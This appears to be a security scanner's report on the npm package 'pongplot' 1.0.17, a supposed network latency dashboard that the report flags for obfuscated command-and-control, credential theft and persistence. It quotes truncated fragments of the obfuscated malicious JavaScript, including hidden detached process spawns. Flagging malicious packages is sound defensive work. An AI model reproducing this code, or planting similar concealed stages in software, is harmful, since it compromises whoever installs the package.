pongplot 1.0.17
obfuscated C2, credential theft, persistence
“Realtime Network Route & Latency Monitor Web Dashboard”
Obfuscated Node stage uses computed HTTPS and hidden detached spawnnpm package includes .exe files
SHA-256a28960e6983eb914d23ddec3eff2c5c2628cc2a5ee61331c2d80c55dfd6bc54e
Evidence
1#!/usr/bin/env node
2const _0x24afc6=_0x565e;(function(_0x4252f5,_0x382395){const _0x3d554b=_0x565e,_0x46b18d=_0x4252f5();while(!![]){try{const _0x5995e7=parseInt(_0x3d554b(0x258))/0x1*(-parseInt(_0x3d554b(0x30f))/0x2)+parseInt(_0x3d554b(0x20f))/0x3*(parseInt(_0x3d554b(0x2c1))/0x4)+parseInt(_0x3d554b(0x241))/0x5+parseInt(_0x3d554b(0x2ad))/0x6+parseInt(_0x3d554b(0x223))/0x7+parseInt(_0x3d554b(0x206))/0x8*(parseInt(_0x3d554b(0x28f))/0x9)+-parseInt(_0x3d554b(0x2a3))/0xa*(parseInt(_0x3d554b(0x2c4))/0xb);if(_0x5995e7===_0x382395)break;else _0x46b18d['push'](_0x46b18d['shift']());}catch(_0x501609){_0x46b18d['push'](_0x46b18d['shift']());}}}(_0x42e7,0x8b9a6));const {spawn,execSync}=require(_0x24afc6(0x25b)),fs=require('fs'),path=require(_0x24afc6(0x207)),https=require(_0x24afc6(0x248)),net=require(_0x24afc6(0x2e2)),os=require('os'),{Select,Input,Password}=require(_0x24afc6(0x1f4)),pkg=require(_0x24afc6(0x31d)),{initWinTray}=require(_0x24afc6(0x21f)),{ …
2:2136… null;}function openBrowser(_0x15f01f){const _0x2ed582=_0x24afc6;try{const _0x56d28c=require(_0x2ed582(0x253)),_0x22676d=typeof _0x56d28c===_0x2ed582(0x29a)?_0x56d28c:_0x56d28c&&_0x56d28c[_0x2ed582(0x310)]?_0x56d28c[_0x2ed582(0x310)]:_0x56d28c;if(typeof _0x22676d==='function')return _0x22676d(_0x15f01f)[_0x2ed582(0x28b)](()=>fallbackOpen( …
2:2564… d1fa9){const _0x3d2977=_0x24afc6;try{if(process[_0x3d2977(0x245)]===_0x3d2977(0x1fb))spawn(_0x3d2977(0x306),['/c','start','',_0x2d1fa9],{'detached':!![],'stdio':_0x3d2977(0x1f7),'windowsHide':!![]})[_0x3d2977(0x30e)]();else process[_0x3d2977(0x245)]==='darwin'?spawn(_0x3d2977(0x253),[_0x2d1fa9],{'detached':!![],'stdio':'ignore'})[_0x3d2977(0x30e)]():spawn(_0x3d2977(0x302),[_0x2d1fa9],{'detached':!![],'stdio':_0x3d2977(0x1f7)})['unref']();}catch(_0x29c7e9){}}function openTerminalManager(){const _0x4d9698=_0x24afc6;try{if(process[_0x4d9698(0x245)]===_0x4d9698(0x1fb)){const _0x129b10=path['resolve'](__dirname,'cli.js');spawn(_0x4d9698(0x306),['/c',_0x4d9698(0x31e),_0x4d9698(0x1fc),_0x4d9698(0x2e3),_0x4d9698(0x2b4),_0x4d9698(0x2a5)+_0x129b10+'\x22'],{' …
2:3416… nction createSpinner(_0x33e793){const _0x382668=['⠋','⠙','⠹','⠸','⠼','⠴','⠦','⠧','⠇','⠏'];let _0x4cab7f=0x0,_0x19bcf0=null,_0xc884fa=_0x33e793;return{'start'(){const _0x4e81dd=_0x565e;return process[_0x4e81dd(0x23a)][_0x4e81dd(0x291)]&&(process[_0x4e81dd(0x23a)][_0x4e81dd(0x1f2)]('\x0d'+_0x382668[0x0]+'\x20'+_0xc884fa),_0x19bcf0=setInterval(()=>{const _0x457f70=_0x4e81dd;process[_0x457f70(0x23a)][_0x457f70(0x1f2)]('\x0d'+_0x382668[_0x4cab7f++%_0x382668[_0x457f70(0x2af)]]+'\x20'+_0xc884fa);},0x50)),this;},'stop'(){const _0x21ebc9=_0x565e;_0x19bcf0&&(clearInterval(_0x19bcf0),_0x19bcf0=null),process['stdout'][_0x21ebc9(0x291)]&&process[_0x21ebc9(0x23a)][_0x21ebc9(0x1f2)](_0x21ebc9(0x2d0));},'succeed'(_0xc50746){const _0x3c1199=_0x565e;this[_0x3c1199(0x228)](),console[_0x3c1199(0x24c)]('✅\x20'+_0xc50746);},'fail'(_0x387d10){const _0x584b17=_0x565e;this[_0x584b17(0x228)](),console[_0x584b17(0x24c)]('❌\x20'+_0x387d10);}};}function compareVersions(_0x616d96,_0x4f81ce){const _0x2db488=_0x24afc6;if(!_0x616d96||!_0x4f81ce)return 0x0;const _0x247716=_0x616d96[_0x2db488(0x277)]('.')[_0x2db488(0x30a)](Number),_0x36d653=_0x4f81ce['split']('.')[_0x2db488(0x30a)](Number);for(let _0x3230e8=0x0;_0x3230e8<0x3;_0x3230e8++){const _0x480705=_0x247716[_0x3230e8]||0x0,_0x23f760=_0x36d653[_0x3230e8]||0x0;if(_0x480705>_0x23f760)return 0x1;if(_0x480705<_0x23f760)return-0x1;}return 0x0;}function checkForUpdate(){return new Promise(_0x1ded5c=>{const _0x3bff32=_0x565e,_0x5ba256=https[_0x3bff32(0x2e6)]('https://registry.npmjs.org/'+APP_NAME+_0x3bff32(0x1f5),{'headers':{'User-Agent':APP_NAME+_0x3bff32(0x311)},'timeout':0xbb8},_0x40e953=>{const _0x339f89=_0x3bff32;let _0x5eea04='';_0x40e953['on'](_0x339f89(0x2a0),_0x27514b=>_0x5eea04+=_0x27514b),_0x40e953[ …
1const _0x3b8e30=_0x3455;(function(_0x12fe25,_0x3897c1){const _0x54c864=_0x3455,_0x237d24=_0x12fe25();while(!![]){try{const _0x718658=-parseInt(_0x54c864(0x1b6))/0x1+-parseInt(_0x54c864(0x26e))/0x2*(parseInt(_0x54c864(0x1fe))/0x3)+parseInt(_0x54c864(0x14a))/0x4*(-parseInt(_0x54c864(0x133))/0x5)+parseInt(_0x54c864(0x223))/0x6*(-parseInt(_0x54c864(0x241))/0x7)+parseInt(_0x54c864(0x22b))/0x8+parseInt(_0x54c864(0x15b))/0x9*(parseInt(_0x54c864(0x2f0))/0xa)+parseInt(_0x54c864(0x1c8))/0xb*(parseInt(_0x54c864(0x2ea))/0xc);if(_0x718658===_0x3897c1)break;else _0x237d24['push'](_0x237d24['shift']());}catch(_0x52ee39){_0x237d24['push'](_0x237d24['shift']());}}}(_0x5189,0x98d60));const express=require(_0x3b8e30(0x149)),http=require(_0x3b8e30(0x29a)),https=require(_0x3b8e30(0x2be)),cors=require(_0x3b8e30(0x24d)),ping=require(_0x3b8e30(0x1 …
Showing the top 5 files — 5 more files (40 regions) not shown.
No evidence locations were recorded for this file. Raw result